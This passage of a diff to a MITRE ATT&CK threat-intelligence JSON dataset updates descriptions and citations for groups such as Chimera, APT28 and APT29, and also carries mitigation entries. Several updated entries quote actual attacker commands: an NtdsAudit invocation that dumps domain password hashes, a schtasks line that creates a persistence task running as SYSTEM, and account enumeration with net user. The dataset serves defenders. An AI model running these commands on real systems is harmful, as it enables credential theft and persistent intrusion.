"[Chimera](https://attack.mitre.org/groups/G0114) has has used net user /dom and net user Administrator to enumerate domain accounts including administrator accounts.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "id": "relationship--57da83d5-2698-41b0-92b8-a92da8a4599c", "type": "relationship", - "modified": "2020-08-27T17:29:05.229Z", + "modified": "2021-01-22T13:48:21.355Z", "created": "2020-08-27T17:29:05.229Z" }, { @@ -219310,13 +220818,18 @@ "source_name": "Cycraft Chimera April 2020", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." } ], - "description": "[Chimera](https://attack.mitre.org/groups/G0114) has gathered the SYSTEM registry and ntds.dit files from target systems.(Citation: Cycraft Chimera April 2020)", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has gathered the SYSTEM registry and ntds.dit files from target systems.(Citation: Cycraft Chimera April 2020) [Chimera](https://attack.mitre.org/groups/G0114) specifically has used the NtdsAudit tool to dump the password hashes of domain users via cmsadcs.exe \"NTDS.dit\" -s \"SYSTEM\" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv and used ntdsutil to copy the Active Directory database.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "id": "relationship--64abef3c-d453-4782-b084-25f684b3f7ae", "type": "relationship", - "modified": "2020-09-29T18:43:01.568Z", + "modified": "2021-01-22T15:02:25.587Z", "created": "2020-08-27T17:29:05.237Z" }, { @@ -219333,11 +220846,11 @@ "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." } ], - "description": "[Chimera](https://attack.mitre.org/groups/G0114) has renamed malware to GoogleUpdate.exe, impersonating legitimate Google filenames.(Citation: Cycraft Chimera April 2020)", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has renamed malware to GoogleUpdate.exe and WinRAR to jucheck.exe, RecordedTV.ms, teredo.tmp, update.exe, and msadcs1.exe.(Citation: Cycraft Chimera April 2020)", "relationship_type": "uses", "id": "relationship--74cc85f8-594d-428b-a44a-5ede87df0ad9", "type": "relationship", - "modified": "2020-09-22T19:30:17.758Z", + "modified": "2021-04-26T13:45:20.351Z", "created": "2020-08-27T17:46:41.092Z" }, { @@ -219394,13 +220907,18 @@ "source_name": "Cycraft Chimera April 2020", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." } ], - "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used PowerShell scripts to execute malicious payloads.(Citation: Cycraft Chimera April 2020)\t", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used PowerShell scripts to execute malicious payloads and the DSInternals PowerShell module to make use of Active Directory features.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)\t", "relationship_type": "uses", "id": "relationship--6337cf38-4b52-4e3d-a63e-670e077ec52f", "type": "relationship", - "modified": "2020-08-27T21:22:39.805Z", + "modified": "2021-01-22T14:58:50.763Z", "created": "2020-08-27T21:22:39.805Z" }, { @@ -219682,7 +221200,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", - "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", "external_references": [ { "source_name": "SentinelOne Valak June 2020", @@ -219694,7 +221212,7 @@ "relationship_type": "uses", "id": "relationship--13c82683-dea9-418b-9112-a801c4cebc64", "type": "relationship", - "modified": "2020-09-25T15:49:10.066Z", + "modified": "2020-11-23T17:28:45.136Z", "created": "2020-08-31T15:15:56.247Z" }, { @@ -220311,7 +221829,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", - "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "external_references": [ { "source_name": "Cyberreason Anchor December 2019", @@ -220323,7 +221841,7 @@ "relationship_type": "uses", "id": "relationship--bc016a10-a594-495b-8822-ca054050f144", "type": "relationship", - "modified": "2020-09-11T13:27:44.385Z", + "modified": "2021-01-22T16:21:40.210Z", "created": "2020-09-11T13:27:44.385Z" }, { @@ -220347,48 +221865,6 @@ "modified": "2020-09-11T13:27:44.386Z", "created": "2020-09-11T13:27:44.386Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", - "external_references": [ - { - "source_name": "Cyberreason Anchor December 2019", - "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", - "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020." - } - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can determine the IP addresses of domain controllers.(Citation: Cyberreason Anchor December 2019)", - "relationship_type": "uses", - "id": "relationship--6217cb62-db8a-4161-b946-229772bef422", - "type": "relationship", - "modified": "2020-09-11T13:33:17.482Z", - "created": "2020-09-11T13:33:17.482Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", - "external_references": [ - { - "source_name": "Cyberreason Anchor December 2019", - "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", - "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020." - } - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can determine if the user on an infected machine is in the admin or domain admin group.(Citation: Cyberreason Anchor December 2019)", - "relationship_type": "uses", - "id": "relationship--d12b0c1d-ebb2-49b4-bb5c-6f62e058e1e6", - "type": "relationship", - "modified": "2020-09-11T13:33:17.560Z", - "created": "2020-09-11T13:33:17.560Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -220731,13 +222207,18 @@ "source_name": "Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020", "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/", "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020." + }, + { + "source_name": "Microsoft Targeting Elections September 2020", + "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/", + "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021." } ], - "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a brute-force/password-spray tooling that operated in two modes: in password-spraying mode it conducted approximately four authentication attempts per hour per targeted account over the course of several days or weeks.(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a brute-force/password-spray tooling that operated in two modes: in password-spraying mode it conducted approximately four authentication attempts per hour per targeted account over the course of several days or weeks.(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: Microsoft Targeting Elections September 2020)", "relationship_type": "uses", "id": "relationship--d6958d59-7b54-407c-8bd9-00891c580acc", "type": "relationship", - "modified": "2020-09-18T21:44:21.976Z", + "modified": "2021-03-24T17:06:10.963Z", "created": "2020-09-11T19:53:58.241Z" }, { @@ -220932,13 +222413,18 @@ "source_name": "Cycraft Chimera April 2020", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." } ], - "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used scheduled tasks to invoke Cobalt Strike and maintain persistence.(Citation: Cycraft Chimera April 2020)", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used scheduled tasks to invoke Cobalt Strike including through batch script schtasks /create /ru \"SYSTEM\" /tn \"update\" /tr \"cmd /c c:\\windows\\temp\\update.bat\" /sc once /f /st and to maintain persistence.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "id": "relationship--1ddc8822-55de-4671-8a73-c95d6383016f", "type": "relationship", - "modified": "2020-09-22T19:21:20.247Z", + "modified": "2021-01-22T15:31:37.333Z", "created": "2020-09-22T19:21:20.247Z" }, { @@ -220953,13 +222439,18 @@ "source_name": "Cycraft Chimera April 2020", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." } ], - "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used legitimate credentials to login to an external VPN.(Citation: Cycraft Chimera April 2020)", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used legitimate credentials to login to an external VPN, Citrix, SSH, and other remote services.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "id": "relationship--bd8a36f5-1da5-49de-b292-ac0e4a58340c", "type": "relationship", - "modified": "2020-09-22T19:21:20.276Z", + "modified": "2021-01-22T16:26:31.707Z", "created": "2020-09-22T19:21:20.276Z" }, { @@ -220983,27 +222474,6 @@ "modified": "2020-09-29T18:43:01.572Z", "created": "2020-09-22T19:30:17.612Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", - "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "external_references": [ - { - "source_name": "Cycraft Chimera April 2020", - "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", - "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." - } - ], - "description": "(Citation: Cycraft Chimera April 2020)", - "relationship_type": "uses", - "id": "relationship--fdeec368-dd76-4b25-8800-b2019ad4d008", - "type": "relationship", - "modified": "2020-09-22T19:30:17.672Z", - "created": "2020-09-22T19:30:17.672Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -221016,13 +222486,18 @@ "source_name": "Cycraft Chimera April 2020", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." } ], - "description": "(Citation: Cycraft Chimera April 2020)", + "description": "(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "id": "relationship--be49ddce-5925-4fb2-8822-0b665d9aa812", "type": "relationship", - "modified": "2020-09-22T19:30:17.684Z", + "modified": "2021-01-22T14:38:36.144Z", "created": "2020-09-22T19:30:17.684Z" }, { @@ -222858,13 +224333,18 @@ "source_name": "NCSC APT29 July 2020", "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf", "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020." + }, + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." } ], - "description": "[APT29](https://attack.mitre.org/groups/G0016) has exploited CVE-2019-19781 for Citrix, CVE-2019-11510 for Pulse Secure VPNs, CVE-2018-13379 for FortiGate VPNs, and CVE-2019-9670 in Zimbra software to gain access.(Citation: NCSC APT29 July 2020)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has exploited CVE-2019-19781 for Citrix, CVE-2019-11510 for Pulse Secure VPNs, CVE-2018-13379 for FortiGate VPNs, and CVE-2019-9670 in Zimbra software to gain access. They have also exploited CVE-2020-0688 against the Microsoft Exchange Control Panel to regain access to a network.(Citation: NCSC APT29 July 2020)(Citation: Volexity SolarWinds)", "relationship_type": "uses", "id": "relationship--bf0ff6f3-51a5-4718-af3f-8f75b1eb507c", "type": "relationship", - "modified": "2020-10-09T15:22:58.203Z", + "modified": "2021-04-16T20:29:18.638Z", "created": "2020-09-29T18:38:16.995Z" }, { @@ -224430,13 +225910,18 @@ "source_name": "Cycraft Chimera April 2020", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." } ], - "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used Windows admin shares to move laterally.(Citation: Cycraft Chimera April 2020)", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used Windows admin shares to move laterally.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "id": "relationship--62a2b674-1eb3-4a9f-ac4f-2766c077eb58", "type": "relationship", - "modified": "2020-10-05T20:59:58.002Z", + "modified": "2021-01-22T16:19:53.780Z", "created": "2020-10-02T17:04:58.162Z" }, { @@ -224991,7 +226476,7 @@ "description": "Configure default account policy to enable logging. Manage policies to ensure only necessary users have permissions to make changes to logging policies.", "id": "relationship--29b03b8f-229b-44a9-a281-6e39edb86844", "type": "relationship", - "modified": "2020-10-19T16:31:34.811Z", + "modified": "2021-03-15T16:43:04.419Z", "created": "2020-10-12T13:52:32.913Z" }, { @@ -225290,7 +226775,7 @@ } ], "type": "relationship", - "modified": "2020-10-15T19:39:35.495Z", + "modified": "2021-03-31T19:41:07.180Z", "created": "2020-10-14T22:00:11.515Z" }, { @@ -225304,14 +226789,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has created customized tools and payloads for functions including ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging.(Citation: Cylance Cleaver)", "relationship_type": "uses", "id": "relationship--7dbfb31d-8ac7-44c5-ad9b-f22e07e95d7e", "type": "relationship", - "modified": "2020-10-15T00:52:01.922Z", + "modified": "2021-04-21T16:41:35.246Z", "created": "2020-10-15T00:52:01.922Z" }, { @@ -225531,14 +227016,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has used custom tools to facilitate ARP cache poisoning.(Citation: Cylance Cleaver)", "relationship_type": "uses", "id": "relationship--1e03e6e0-8b7b-4e93-a955-245561085aae", "type": "relationship", - "modified": "2020-10-15T16:59:26.907Z", + "modified": "2021-04-21T16:41:34.830Z", "created": "2020-10-15T13:56:46.934Z" }, { @@ -225552,7 +227037,7 @@ "description": "Make sure that the HISTCONTROL environment variable is set to \u201cignoredups\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.", "id": "relationship--00876444-466d-40fe-8de5-0c13fcd0ea1a", "type": "relationship", - "modified": "2020-10-16T18:25:12.864Z", + "modified": "2021-04-24T13:59:13.058Z", "created": "2020-10-15T16:47:27.531Z" }, { @@ -225573,7 +227058,7 @@ } ], "type": "relationship", - "modified": "2020-10-16T18:25:12.918Z", + "modified": "2021-04-24T13:59:13.068Z", "created": "2020-10-15T16:47:27.551Z" }, { @@ -225657,7 +227142,7 @@ "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.", "id": "relationship--3de6d2ba-842b-4f60-b177-d8082eebbb1e", "type": "relationship", - "modified": "2020-10-25T19:44:02.543Z", + "modified": "2021-04-15T03:40:20.611Z", "created": "2020-10-19T04:14:47.401Z" }, { @@ -225671,7 +227156,7 @@ "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.", "id": "relationship--756acf5d-6765-4611-b451-f855eefcbb77", "type": "relationship", - "modified": "2020-10-25T19:44:58.227Z", + "modified": "2021-04-15T03:43:12.922Z", "created": "2020-10-19T04:15:36.481Z" }, { @@ -225685,7 +227170,7 @@ "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.", "id": "relationship--a581fb2c-604a-4417-b782-cafd76b11c37", "type": "relationship", - "modified": "2020-10-24T04:12:48.300Z", + "modified": "2021-04-15T03:41:33.705Z", "created": "2020-10-19T04:16:36.949Z" }, { @@ -225699,7 +227184,7 @@ "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.", "id": "relationship--59f80c0d-e8d7-48f6-960a-3d4b593f8b33", "type": "relationship", - "modified": "2020-10-24T04:13:12.880Z", + "modified": "2021-04-15T03:42:26.936Z", "created": "2020-10-19T04:17:45.388Z" }, { @@ -225984,7 +227469,7 @@ } ], "type": "relationship", - "modified": "2020-10-21T02:41:11.618Z", + "modified": "2021-04-20T20:11:11.161Z", "created": "2020-10-19T17:58:04.228Z" }, { @@ -225998,7 +227483,7 @@ "description": "Restrict administrator accounts to as few individuals as possible, following least privilege principles. Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.", "id": "relationship--bb1aff02-36e4-402e-9bd0-23bfd588e4ab", "type": "relationship", - "modified": "2020-10-21T02:41:11.650Z", + "modified": "2021-04-20T20:11:11.133Z", "created": "2020-10-19T17:58:04.355Z" }, { @@ -226751,7 +228236,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--9a433652-118d-428e-8ff0-551543a062a7", "type": "relationship", - "modified": "2020-10-24T03:51:44.018Z", + "modified": "2021-04-15T03:21:15.523Z", "created": "2020-10-20T01:21:23.726Z" }, { @@ -226765,7 +228250,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--99a5e60d-62f7-4dc6-af50-99e57e92eaab", "type": "relationship", - "modified": "2020-10-24T03:52:10.890Z", + "modified": "2021-04-15T03:22:14.402Z", "created": "2020-10-20T01:23:07.180Z" }, { @@ -226779,7 +228264,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--1dcc92d5-0299-4c6c-b86b-f2d3718a9bda", "type": "relationship", - "modified": "2020-10-24T03:53:39.283Z", + "modified": "2021-04-15T03:23:57.970Z", "created": "2020-10-20T01:25:08.269Z" }, { @@ -226793,7 +228278,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--1dc273bd-fb9d-4a36-a234-37ec11238e26", "type": "relationship", - "modified": "2020-10-27T02:27:31.297Z", + "modified": "2021-04-15T03:26:44.549Z", "created": "2020-10-20T01:37:26.342Z" }, { @@ -226807,7 +228292,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--004fbe29-2537-418e-9951-a2750a5fa901", "type": "relationship", - "modified": "2020-10-24T04:06:50.513Z", + "modified": "2021-04-15T03:19:01.263Z", "created": "2020-10-20T03:11:14.529Z" }, { @@ -226821,7 +228306,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--96311328-0188-437f-b1c6-1f95676732e0", "type": "relationship", - "modified": "2020-10-24T04:06:09.238Z", + "modified": "2021-04-15T03:19:38.563Z", "created": "2020-10-20T03:11:48.916Z" }, { @@ -226835,7 +228320,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--ae6add8b-17b3-4d50-be1a-8e4efec7fc01", "type": "relationship", - "modified": "2020-10-24T03:58:06.901Z", + "modified": "2021-04-15T03:20:09.545Z", "created": "2020-10-20T03:12:36.931Z" }, { @@ -226849,7 +228334,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--db136518-5008-4104-93c1-112c4478c8bf", "type": "relationship", - "modified": "2020-10-24T03:52:36.938Z", + "modified": "2021-04-15T03:22:46.936Z", "created": "2020-10-20T03:20:03.645Z" }, { @@ -226863,7 +228348,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--b97134c8-c42a-4121-ab8b-bf519bf3d457", "type": "relationship", - "modified": "2020-10-24T03:53:03.436Z", + "modified": "2021-04-15T03:23:21.129Z", "created": "2020-10-20T03:20:36.200Z" }, { @@ -226877,7 +228362,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--362f4bd6-59d6-4e3f-81f0-5358b7f3f9d5", "type": "relationship", - "modified": "2020-10-24T03:45:26.181Z", + "modified": "2021-04-15T03:26:17.537Z", "created": "2020-10-20T03:21:37.453Z" }, { @@ -226891,7 +228376,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--611ad683-7772-4592-bbd4-e5589591a76e", "type": "relationship", - "modified": "2020-10-24T03:46:04.775Z", + "modified": "2021-04-15T03:27:19.807Z", "created": "2020-10-20T03:22:16.268Z" }, { @@ -226905,7 +228390,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--48c021af-5bce-4a16-aec1-21970cc59497", "type": "relationship", - "modified": "2020-10-24T03:46:29.285Z", + "modified": "2021-04-15T03:27:49.538Z", "created": "2020-10-20T03:22:48.307Z" }, { @@ -226919,7 +228404,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--78968b8c-61ed-44d9-835c-05eb5b2ab169", "type": "relationship", - "modified": "2020-10-24T04:02:08.914Z", + "modified": "2021-04-15T03:28:44.677Z", "created": "2020-10-20T03:23:24.070Z" }, { @@ -226933,7 +228418,7 @@ "description": "This cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--c2b9d474-44f8-4815-9f60-be81af2776ab", "type": "relationship", - "modified": "2020-10-24T04:02:39.830Z", + "modified": "2021-04-15T03:29:18.851Z", "created": "2020-10-20T03:24:09.371Z" }, { @@ -226947,7 +228432,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--c3c37431-5f1a-4282-ac0b-fd4270d67cd7", "type": "relationship", - "modified": "2020-10-25T22:58:23.011Z", + "modified": "2021-04-15T03:30:33.671Z", "created": "2020-10-20T03:24:36.273Z" }, { @@ -226961,7 +228446,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--3b1a38d3-8d4c-472f-9433-098560a3208f", "type": "relationship", - "modified": "2020-10-24T04:03:29.326Z", + "modified": "2021-04-15T03:31:05.418Z", "created": "2020-10-20T03:25:10.161Z" }, { @@ -226975,7 +228460,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--175d65f0-0f57-4cad-a655-4f068a1e02ad", "type": "relationship", - "modified": "2020-10-24T04:04:13.694Z", + "modified": "2021-04-15T03:31:54.429Z", "created": "2020-10-20T03:25:40.299Z" }, { @@ -226989,7 +228474,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--bddcd118-8a69-450e-b680-c5d52d5098f4", "type": "relationship", - "modified": "2020-10-24T04:04:40.303Z", + "modified": "2021-04-15T03:33:02.568Z", "created": "2020-10-20T03:26:11.192Z" }, { @@ -227003,7 +228488,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--17ad59c0-1aff-490b-bb43-02e1d0292a87", "type": "relationship", - "modified": "2020-10-24T04:05:03.928Z", + "modified": "2021-04-15T03:34:22.999Z", "created": "2020-10-20T03:26:40.879Z" }, { @@ -227017,7 +228502,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--024d5595-aa4e-4d47-bc31-5b8ea5ed73c0", "type": "relationship", - "modified": "2020-10-24T04:08:34.102Z", + "modified": "2021-04-15T03:36:26.918Z", "created": "2020-10-20T03:29:48.200Z" }, { @@ -227031,7 +228516,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "id": "relationship--b03847f1-8b42-4457-8856-d5769e0f6e60", "type": "relationship", - "modified": "2020-10-24T04:08:59.311Z", + "modified": "2021-04-15T03:36:59.020Z", "created": "2020-10-20T03:30:15.348Z" }, { @@ -227045,7 +228530,7 @@ "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of 